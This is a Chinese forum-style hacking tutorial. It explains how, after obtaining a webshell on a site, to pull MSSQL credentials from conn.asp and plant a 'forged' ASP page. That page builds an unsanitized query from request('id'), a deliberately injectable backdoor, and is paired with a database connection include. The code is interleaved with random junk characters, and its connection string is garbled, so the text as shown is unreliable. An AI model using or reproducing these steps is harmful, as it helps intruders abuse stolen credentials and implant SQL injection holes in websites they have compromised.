首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
3 p; u3 n7 H+ b1 t; }6 FASP/Visual Basic代码
# H% H) D% Y: r! T<!--#include file="xx.asp"--> & v' o. O6 Q3 y% T4 a) }
<% 7 {* a* b4 S# _; |5 {4 Z
set rs=server.createobject("ADODB.recordset")
, m& \# f. q: Nid = request("id")
; U0 }! G, i# r' q4 U, G. \' ~* vstrSQL = "select * from admin where id=" & id - i' b' n5 v! ?( e0 s: N7 ]5 d
rs.open strSQL,conn,1,3
/ g* N. {. z; i- A: mrs.close 7 P- w9 D& z" N6 L) n
%>
, z- a# i2 V- O8 t7 K把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, [: R- R+ [" U- Y5 F9 c$ x* R
然后就要构造一个连接数据库的文件了,代码如下:5 |+ S. U. x- d i7 I7 s6 K
ASP/Visual Basic代码+ x8 i4 Q6 x4 L, w2 x: |
<%
3 M( e. k: M; e2 i9 b2 I3 RstrSQLServerName = "000.000.000.000" '服务器名称或地址 % U& r j) U7 U1 Q' g8 C2 G [
strSQLDBUserName = "sqlname" '数据库帐号 " r* E$ d$ g( ~& a$ x1 O, r8 [9 F
strSQLDBPassword = "sqlpass" '数据库密码
3 M. {, r7 p* d" H1 l) f: A% V5 A# F8 SstrSQLDBName = "sqldataname" '数据库名称 % \6 m( Y/ C; A4 j: t, e
Set conn = Server.CreateObject("ADODB.Connection")
6 c( C# N, R5 S$ Y$ G# }/ [& JstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" ) A# }7 L4 l' Z% ?( Y
conn.open strCon % G9 R& R4 L) z
%>
) b7 `: u) }! h+ J这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功+ k& x- I# v6 U% |, b% r5 m( u" d
|